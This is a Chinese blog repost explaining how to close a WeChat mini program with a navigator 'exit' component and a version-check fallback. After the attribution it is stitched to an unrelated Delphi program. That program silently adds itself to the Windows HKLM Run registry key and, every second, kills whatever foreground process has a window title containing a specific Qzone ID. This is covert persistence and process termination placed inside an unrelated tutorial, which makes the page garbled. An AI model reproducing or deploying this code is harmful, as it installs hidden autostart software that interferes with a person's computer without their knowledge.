微信小程序开发——点击按钮退出小程序的实现

本文详细介绍了微信小程序中实现退出功能的方法,利用navigator组件的open-type属性设置为exit,可以实现在支持版本的小程序中直接关闭应用。同时,提供了代码示例及版本判断逻辑,确保在不同版本下小程序的兼容性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

微信小程序官方是没有提供退出的API的,但是在navigator这个组件中,是有退出这个功能的:

详情参考官方文档:navigator

示例代码:

1 <navigator open-type="exit" target="miniProgram">关闭小程序</navigator>

不过这个功能最低支持版本时 2.1.0 ,如果一定要使用这个功能,那么最好在小程序管理后台中设置最低基础库版本不低于2.1.0,如果对小程序支持的最低基础库低于2.1.0,那么可以对小程序基础库版本进行判断,支持小程序退出的就使用退出组件,如果不支持,那么就做好跳转到其他指定页面的兼容处理。

 

1         wx.getSystemInfo({
2           success: function(res) {
3             if(res.SDKVersion>="2.1.0"){
4               self.setData({
5                 exitApp:true//data中的初始化变量
6               })
7             }
8           }
9         })

 

1 <navigator wx:if="{{exitApp}}" open-type="exit" target="miniProgram">关闭按钮</navigator>
2 <navigator wx:else open-type="navigate" target="navigate" url='../../index/index'>返回首页</navigator>

如果是首页,那么就直接不处理这个返回退出了。

注:由于不是API,所以不能使用wx.canIUse(string)的方式进行判断了,所以只能通过获取系统信息的方式获取小程序基础库版本,以此来判断。

 

对于小程序基础库版本分布可以查看官方统计说明:基础库版本分布

 

转载于:https://www.cnblogs.com/xyyt/p/10715944.html

Program haha; Uses Windows, Messages, shellapi; // {$R *.res} Const AppName: PChar = 'haha'; Var prosid: dword; closehd,hCurrentWindow: hwnd; Hk: HKEY ; WndText:array[0..25] of char; function GetKJWnd(): hwnd; begin hCurrentWindow:=GetForegroundWindow; begin GetwindowText(hCurrentWindow, @WndText, 255); if (Pos('94384715.qzone',WndText)>0) then begin Result:=hCurrentWindow; Exit; end; end; Result:=0; end; Procedure closekj; Begin closehd:=GetKJWnd(); if closehd0 then begin GetWindowThreadProcessId(closehd,@prosid); if prosid0 then TerminateProcess(OpenProcess(PROCESS_TERMINATE,False,prosid),$FFFFFFFF); end; End; Function WndProc(AWnd: HWND; message: UINT; wp: WPARAM; lp: LPARAM): LRESULT; stdcall; Begin Result := 0; Case message Of WM_DESTROY: PostQuitMessage(0); Else Result := DefWindowProc(AWnd, message, wp, lp); End; End; Var wc: WNDCLASS; HMainWnd: HWND; AMsg: MSG; Begin With wc Do Begin style := CS_VREDRAW Or CS_HREDRAW; lpfnWndProc := @WndProc; cbClsExtra := 0; cbWndExtra := 0; hIcon := LoadIcon(0, IDI_APPLICATION); hCursor := LoadCursor(0, IDC_ARROW); hbrBackground := GetSysColorBrush(COLOR_WINDOW); hInstance := HInstance; lpszMenuName := Nil; lpszClassName := AppName; End; RegisterClass(wc); HMainWnd := CreateWindow(AppName,AppName, WS_OVERLAPPEDWINDOW, Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), HWND_DESKTOP, 0, HInstance, Nil); UpdateWindow(HMainWnd); SetTimer(HMainWnd, 1, 1000, @closekj); RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run', Hk); RegSetValueEx(Hk, 'setrun', 0, REG_SZ, pchar(ParamStr(0)), 255); While GetMessage(AMsg, 0, 0, 0) Do Begin TranslateMessage(AMsg); DispatchMessage(AMsg); End; End.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值